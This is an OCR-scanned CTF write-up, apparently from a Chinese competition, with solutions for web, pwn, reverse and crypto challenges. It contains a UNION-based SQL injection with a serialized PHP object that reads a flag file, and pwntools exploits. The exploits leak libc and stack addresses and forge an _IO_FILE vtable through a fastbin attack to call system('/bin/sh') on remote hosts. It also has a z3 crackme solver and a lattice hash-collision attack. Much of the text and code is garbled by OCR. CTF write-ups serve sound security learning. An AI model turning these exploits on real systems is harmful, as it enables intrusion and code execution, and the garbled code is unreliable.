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payload:

Iview.php?no=0/*123*/UniOn/*123*/select/*123*/0,1,2,%220:8:\%22UserInfo\%22:3:
{s:4:\%22name\%22;s:5:\%22lilac\%22;s:3:\%22age\%22;i:0;s:4:\%22blog\%22;s:29:\%22file:///var/www/html/fl;

a 1 | ¥

pwn
guess

B itflagifEsk b, #RETREL, HEEGcanaryfRY, FUARA HAMFF T, REARMEER Tsspleak, H
RAFIE ML . WEF IRV AL A8 27T LS A gotitu ikt # libc, %85 Mlibe L ienvironitt 2 £ ik,
RIEHE LRI R SflagBERE, &GEfag, XMEREREER, EHFATLUEE3KMEE . libcAl LA
A&FMTEREES], WK &I EI A A AR .

from pwn import *

for i in range(0x80, 0x180, 8):

p = process("./GUESS")
p.recvuntil("flag\n")

p.sendline("1" * i + p64(0x0400C90))

p.recvline()


https://blog.csdn.net/weixin_36255893
https://so.csdn.net/so/search/s.do?q=ctf+php168&t=blog&o=vip&s=&l=&f=&viparticle=

x = p.recvline()

p.close()

print hex(i), x

environ = 0x03C6F38

p = remote("106.75.90.160", 9999)
p.recvuntil("flag\n")

p.sendline("1" * 0x128 + p64(0x602040))
print p.recvuntil("***: ")

read_offset = u64(p.recv(6).ljust(8, "\x00"))
libc = read_offset - 0xX00000000000F7250
environ += libc

print hex(libc)

p.recvuntil("flag\n")

p.sendline("1" * 0x128 + p64(environ))
print p.recvuntil("**: ")

stack = u64(p.recv(6).ljust(8, "x00"))

print hex(stack)

p.recvuntil("flag\n")

p.sendline("1" * 0x128 + p64(stack - 0x168))
print p.recvuntil("***: ")

print p.recvline()

p.close()

blind

release I REREUE B 5 BB 4841 B0, AT Lhchange HRMEH, FA7EuafigiF, I LA k& Sfdfifastbin
attack, AN A Rftleak, ATLAZFrhook R EatAIAE T . stdin, stdout, stderribhl#R LAOX7fFFk, AT LA
WAL ILEh R, XEERE T stderr, AEH AT MER AR KOS RE TR AME R bk, RAG4NIBEHTEA T bss
R —PES N R EIo_filefivtable, 2EFAANEIA T stdoutfl R difiledstl. FFE T /EMH, 7 LAEREE
vtable s f R B Fe 4 W oNE, MG Kfiles ka4 E Sstdout, AT printfi 72 7 st Eh 8 M
system(“/bin/sh”), i 4514k} % 2 % B fp->locks [\ — BE N0 N FF .

from pwn import *
import struct

_10_USE_OLD_IO_FILE = False



_BITS =64

def _u64(data):
return struct.unpack("™"
def _u32(data):

return struct.unpack("
def _u16(data):

return struct.unpack("
def _u8(data):

return ord(data)

def _usz(data):
if_BITS == 32:

return _u32(data)
elif_BITS == 64:
return _u64(data)

else:

print("[-] Invalid _BITS")
exit()

def _ua(data):

if_BITS == 32:

return _u32(data)
elif_BITS == 64:
return _u64(data)

else:

print("[-] Invalid _BITS")
exit()

def _pb64(data):
return struct.pack(™"
def _p32(data):
return struct.pack("
def_p16(data):

return struct.pack("



def _p8(data):
return chr(data)
def _psz(data):
if _BITS == 32
return _p32(data)
elif_BITS == 64:
return _p64(data)
else:

print('[-] Invalid_BITS")

exit()
def _pa(data):
if_BITS == 32:

return struct.pack("
elif_BITS == 64:
return struct.pack(""

else:

print("[-] Invalid _BITS")

exit()

class 10 _FILE plus:

def _init_(self):

self._flags = 0x00000000fbad2887 # High-order word is _10_MAGIC; rest is flags.
self._10_read_ptr = 0x602500 # Current read pointer

self._10_read_end = 0x602500 # End of get area

self._10 _read base = 0x602500 # Start of putback+get area

self._10_write_base = 0x602600 # Start of put area

self._10_write_ptr = 0x602600 # Current put pointer

self._10_write_end = 0x602600 # End of put area

self._10_buf_base = 0x602600 # Start of reserve area

self._10_buf_end = 0x602601 # End of reserve area

# The following fields are used to support backing up and undo.

self._1O_save _base = 0 # Pointer to start of non-current get area



self._1O_backup_base = 0 # Pointer to first valid character of backup area
self._10_save _end = 0 # Pointer to end of non-current get area
self._markers =0

self._chain=0

self._fileno =0

self._flags2 =0

self._old offset = 0 # This used to be _offset but it's too small
# 1+column number of pbase(); 0 is unknown
self._cur_column =0

self._vtable offset =0

self._shortbuf = 0

self._lock = 0x602700

ifnot _IO_USE _OLD IO FILE:

self._offset =0

self._codecvt = 0

self._wide _data=0

self._freeres list=0

self._freeres buf =0

self.__pad5=20

self._mode = 0

self._unused2 = [Oforiinrange(15*4-5* BITS/8)]
self.vtable = 0x602168

def tostr(self):

buf = _p64(self._flags & Oxfffffff) + \
_pa(self._10O read ptr) +\

_pa(self._IO read end) +\

_pa(self._l1O _read base) + \

_pa(self._IO_write_base) +\

_pa(self_10_write_ptr) +\

_pa(self_10_write_end) +\

_pa(self_10_buf base) +\



_pa(self_10_buf end) +\
_pa(self_10_save base) +\
_pa(self._10_backup _base) +\
_pa(self._10_save end) +\
_pa(self._markers) +\
_pa(self._chain) +\
_p32(self._fileno) + \
_p32(self._flags2) +\
_p64(self._old_offset) + \
_p16(self._cur_column) +\
_p8(self._vtable_offset) + \
_p8(self._shortbuf)

if_BITS == 64:

buf +=_p32(0)

buf +=_pa(self._lock)

ifnot _IO_USE _OLD IO FILE:
buf +=\

_p64(self._offset) +\
_pa(self._codecvt) + \
_pa(self._wide_data) +\
_pa(self._freeres list) +\
_pa(self_freeres_buf) + \
_psz(self.__padb) +\
_p32(self._mode) + \

" join(map(lambda x:_p8(x), self._unused?2)) +\
_pa(self.vtable)

return buf

def _str_(self):

return self.tostr()

#p = process("./blind")

p = remote("106.75.20.44 ",9999)



def new(index,content):
p.recvuntil("Choice:")
p.sendline('1))
p.recvuntil("Index:")
p.sendline(str(index))
p.recvuntil ("Content:")
p.sendline(content)

def release(index):
p.recvuntil("Choice:")
p.sendline('3))
p.recvuntil("Index:")
p.sendline(str(index))

def change(index,content):
p.recvuntil("Choice:")
p.sendline('2))
p.recvuntil("Index:")
p.sendline(str(index))
p.recvuntil ("Content:")
p.send(content)

new(0,'111))

new(1,222)

release(0)
change(0,p64(0x60203d)+"n’)
new(2,"333")

new(3,"4"19 + p64(0x602088)+p64(0x6020f0)+p64(0x602158)+p64(0x6021c0)+p64(0x602020))
s=_I0 FILE plus().tostr()
print len(s)
change(0,s[0:0x68])
change(1,s[0x68:0xd0])
change(2,s[0xd0:] + p64(0)*2 + p64(0x4008E3)*9)
change(3,p64(0x4008E3)*13)



p.recvuntil("Choice:")
p.sendline("2")
p.recvuntil("Index:")
p.sendline('4)
p.recvuntil("Content:")
p.sendline(p64(0x602088))
p.sendline("your token")
p.interactive()

reverse

beijing

KA W B Al flag fEdata B L 47T AL E, FIFE/FRIH i1 45 RIE A 5], IR#EH M1 45 RS Hiflag .
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7B B2 DOS/MBR boot sector, #8452 A 2 HICSAW:Y 7 8 51 i A=t 10 88 1, JE25 BB 1t
7l

XXX@xx ~/ctf/china/advanced file main.bin
main.bin: DOS/MBR boot sector

XXX@xx ~/ctf/china/advanced strings main.bin
flag

a} ==>

== ENTER FLAG ==

CORRECT!

I WRONG FLAG !

payload i F:

#l/usr/bin/env python

from pprint import pprint

from z3 import *

import struct

s = Solver()

ZERO = IntVal(0)

def z3_abs(x):



retumn If(x >= 0, x, -x)

def psadbw(xmm1, xmm2):

first = Sum([z3_abs(b1 - b2) for b1,b2 in zip(xmm1[:8], xmm2/[:8])])

second = Sum([z3_abs(b1 - b2) for b1,b2 in zip(xmm1[8:], xmm2[8:])])

return (first, second)

[0x2DDO02F6, 0x2DCO2ES8, 0x2D802ED, 0x2CEO02E2, 0x2C402E2, 0x2D402DB, 0x2D902CD, 0x3110304]
_results=[

(0x02dd, 0x02f6),

(0x02dc, 0x02e8),

(0x02d8, 0x02ed),

(0x02ce, 0x02¢2),

(0x02c4, 0x02¢2),

(0x02d4, 0x02db),

(0x02d9, 0x02cd),

(0x0311, 0x0304)

1[:-1]

_Xmmbs = [

[0xb8, 0x13, 0x00, Oxcd, 0x10, Ox0f, 0x20, 0xc0, 0x83, 0xe0, Oxfb, 0x83, Oxc8, 0x02, OxOf, 0x22],
/

for x in _results[:-1]:
_xmmbs.append(list(map(ord, struct.pack("™
xmmbs = [ [IntVal(x) for x in row] for row in _xmmb5s |
results = [ [IntVal(x) for x in row] for row in _results |
f = [Int('flag{:02}".format(i)) for i in range(16)]

for charin f:

s.add(char > 30, char < 127)

fori in range(8):

xmmb = xmmb5s[i]

xmm?2 = list(f)

xmm2[i] = ZERO

xmm2Ji+8] = ZERO



high,low = psadbw(xmmb5, xmm?2)
s.add(high == results[i][0])

s.add(low == results[i]J[1])
print(s.check())

m = s.model()

solution ="

sats =[]

for d in m.decls():

if flag' in d.name():

solution += chr(m[d].as_long())
sats.append((int(d.name()[4:]), chr(m[d].as_long())))
sats = sorted(sats, key=lambda x: x[0])
sats = [s[1] for s in sats]

flag = " join(sats)

# unshuffle the flag

flag = flag[12:] + flag[8:12] + flag[:8]
print(‘flag{%s}' % flag)

77 ZFfflag:

flag{mbr_is funny _eh}
advanced(solved after ctf)

BIEMISCHETF, & 2 it 17 21N & )5 1)
flag:4b404c4b5648725b445845734c735949405¢414d5949725¢45495a51

B2 Eflag 7 945 R

import libnum

In [97]: libnum.n2s(0x4b404c4b5648725b445845734c735949405¢4140d5949725¢45495a51)
Out[97]: 'K@LKVHIIDXEsLsYI@Q\AMYIN\EIZQ'

XW:In [93]: ord("f")"Ox4b

Out[93]: 45

In [94]: ord("g")"Ox4b

Out[94]: 44

In [95]: ord("l")"0x40



Out[95]: 44

In [96]: ord("a")"Ox4c

Out[96]: 45

xor key #745,44

In [98]: enc = libnum.n2s(0x4b404c4b5648725b445845734c735949405c414d5949725c45495a51)
In [99]: flag ="

In [102]: for i in range(len(enc)):

. iFi%2==0;

.... flag+=chr(ord(encli])*45)

... else:

.... flag+=chr(ord(encli])44)

In [103]: print flag

flag{d with_a template _phew}
crypto

hashcoll

B H XA LR #ah:Sometime, you wonder why you rEad the Description Because it may contaln something
useless.

nc 117.50.1.201 9999

#l/usr/bin/env python2

FLAG = "aaa"

hO = 45740974929179720441799381904411404011270459520712533273451053262137196814399
#2**168 + 355

g =374144419156711147060143317175368453031918731002211L
def shitty _hash(msg):

h=ho

msg = map(ord, msg)

fori in msg:

h=(h+i)g

# This line is just to screw you up :))



h = h & Ot ttmod2**256
#Horint h
return h - Oxe6168647f636

if _name _=='_main_ "

try:

i

introduction =

|V

| > < < Homies, Hash collision |

[\
va '

|/

M~

| never want to create challenges that people can grab random scripts to solve it. Nah
print introduction

m1 = raw_input('m1:")

m2 = raw_input('m2 : ")

assert m1 I=mz2

#print "m1 = {Ir}".format(m1)

#print "m2 = {Ir}".format(mz2)

hash1 = shitty_hash(m1)

hash2 = shitty _hash(m2)

if hash1 == hash2:

print "\nThe flag is simple, it is the flag':)) "
print FLAG

else:

print Wrong.'

except:

print "Take your time to think of the inputs."”

pass



& H 717

B L XThash & 2119 ETF X FhOXT il # 25 R 1% - 72 1:

W4t T HE.

In [92]: libnum.n2s(45740974929179720441799381904411404011270459520712533273451053262137
... 196814399)

Out[92]: ‘e you ever see something weird ?'

$8shitty _hash(x_1,x_2,...,x_n) =h_0g"n+x_1g™n+x_2g\n-1}+...+x_ng \ mod \ 2\{256}$$

Jy T #€Flhash {8 1 /6 #9% 1-message, Z 17 ZE# F/$a_1g™n+a_2g™n-1}+...+a_ng \ mod \ 2256} $ 71
$b_1g"n+b_2gNn-1}+...+b_ng \ mod \ 2N256}$ 9B 164 4. ${a_1,....a_n}$FIS{b_1,...b_n}$ 5 #1
message, # H%a i$FI$b_i$/& TH0,...,255)$, ZAMTA LI i#m1 [BE, H#eE/—2$c_1g"n+c_2g"n-1}+..+c_ng
\ mod \ 2N256} = 08 WATLI#EIm2, $b i = a_i+c i$, K #$a i$E4(m1EE), WSc iSHTBE A
$0<=a_ij+c_i<=255%7F H Yy B4 M i 73 Zlhashfit #. g T #6 2 FEHT—H i B4 AEH9$C i, HF3c iSHIR ),
A3 T HLLL £ e SVP /8.

K fEHE S

HIEREIEL T

$$

\begin{matrix}
Kg'n&1&0&0&... &0\
KgMn-1}&0& 1&0&.. &0\
KgMn-2} &0&0& 1 &.. &0\

Kg&0&0&0&... & 11\
K2M256} &0& 0 &0 &... &0
\end{matrix}

5%

LENTHIKE # A #T, reduced rows xxx[0] == 0, #-H3c_i$ = xxx[i+1], 24n B 5K, #6 B Hoxxx # #9 £-1° 7T F 5L 1R
M ESO0<=a_i+c i<=255%

KRTFLLLEZLAEARZ T, R REE A IE#, H1rgoogle

reference:
https://latticehacks.cr.yp.to/slides-dan+nadia+tanja-20171228-latticehacks-16x9.pdf
https.//cseweb.ucsd.edu/~daniele/CSE207C/

SEH:(sage HIFK)

from sage.all import *



mod = 2**256

hO = 45740974929179720441799381904411404011270459520712533273451053262137196814399
g =2**168 + 355

K = 2*256

base = map(ord, "7feilee"8)
N = len(base)

m = matrix(ZZ, N+ 1, N + 2)
for i in xrange(N):

ge = pow(g, N-i, mod)

mfi,0] = ge

mfi, 1+i] = 1

m[N,0] = mod

fori in xrange(N+1):

mfi,0] =K

ml =m.LLL()

ttt = ml.rows()[0]

print "result:", ttt

if ttt[0] I= 0:

print "Error”

exit()

if not base:

base = [BASE] *N

msg =[]

fori in range(N):
msg.append(basefi] + ttt[1+i])
if not (0 <= msg[-1] <= 255):
print "Need more bytes!"
quit()

def shitty_hash(msg):

h = ho

fori in msg:



h=(h+i)g

# This line is just to screw you up :))

h = h & Oxfifitmod2* 256
#orint h

return h - Oxe6168647f636

def pure_hash(msg):

h=0

foriin msg:

h=(h+i)g

# This line is just to screw you up :))

h = h & OxfffiiiHtmod2* 256
return h

print base

print "'m1:", ™ join(map(chr, base))

print hex(shitty _hash(base)), shitty hash(base)
print msg

diff = [i-j for i.j in zip(msg,base)]

print diff

print hex(pure_hash(diff))

print "m2:", ™ join(map(chr, msg))

print hex(shitty _hash(msg)), shitty_hash(msg)

m

result: (0, 2, 10, 0, 14, 12, 6,-9, 5, -1, 10, 14, 7, 4, -7,-9, 1, -6, -11,-2, 4, 5, -9, -3, -7, -12, -18, -2, 9, -6, 20, 14,
-1

3 -2 -10,-11,-8,-11,-4,-3,-3, 8 -2,-2,-7, 10, 1,-7, -6, 1, -3, -11, 0, -2, -2, -13, -3, 0)

linear combination 1:[65, 102, 101, 105, 108, 101, 101, 585, 102, 101, 105, 108, 101, 101, 85, 102, 101, 105,
108, 101, 101, 85, 102, 101, 105, 108, 101, 101, 85, 102, 101, 105, 108, 101, 101, 55, 102, 101, 105, 108,
101, 101, 85, 102, 101, 105, 108, 101, 101, 55, 102, 101, 105, 108, 101, 101]

m1: 7feilee7feileerfeileerfeileerfeileerfeileerfeileerfeilee

Oxdc50edf5709e590380c17156e4a9c6bf29938a8926eee56efd3e96e861¢f4079L
99651816784432116140389266578054142896984837252368337731439517562844400795769

linear combination 1+linear combination 2:[57, 112, 101, 119, 120, 107, 92, 60, 101, 111, 119, 115, 105, 94,
46, 103, 95, 94, 106, 105, 106, 46, 99, 94, 93, 90, 99, 110, 49, 122, 115, 108, 106, 91, 90, 47, 91, 97, 102,
105, 109, 99, 83, 95, 111, 106, 101, 95, 102, 52, 91, 101, 103, 106, 88, 98]



linear combination 2:[2, 10, 0, 14, 12, 6, -9, 5, -1, 10, 14, 7, 4,-7,-9, 1, -6, -11, -2, 4, 5, -9, -3, -7, -12, -18, -2,
9, -6, 20, 14, 3, -2, -10, -11,-8,-11,-4,-3,-3, 8, -2, -2, -7, 10, 1, -7, -6, 1, -3, -11, 0, -2, -2, -13, -3]

O#pure_hash(linear combination 2 == 0),which cause the collision
m2: 9pewxk\

dc50edf5709e590380c17156e4a9c6bf29938a8926eeeb6efd3e96e861cf4079
99651816784432116140389266578054142896984837252368337731439517562844400795769

from pwn import *

import random

import re

import libnum

import string

from hashlib import *

import itertools

context.log_level = "debug"

io = remote("117.50.1.201",9999)

jo.recv()
io.sendline("Tfeilee7feilee7feileeTfeilee7feileeTfeileeTfeilee7feilee")
io.recvuntil('m2 : )

io.sendline("9pewxk\

jo.recv()

jo.recv()

io.recv()

"y

"The flag is simple, it is ‘the flag':)) \n"
flag{b78017f6-90b1-486b-9f12-67d17cdcbfca}\n’

flag:flag{b78017f6-90b1-486b-9f12-67d17cdcbfca}
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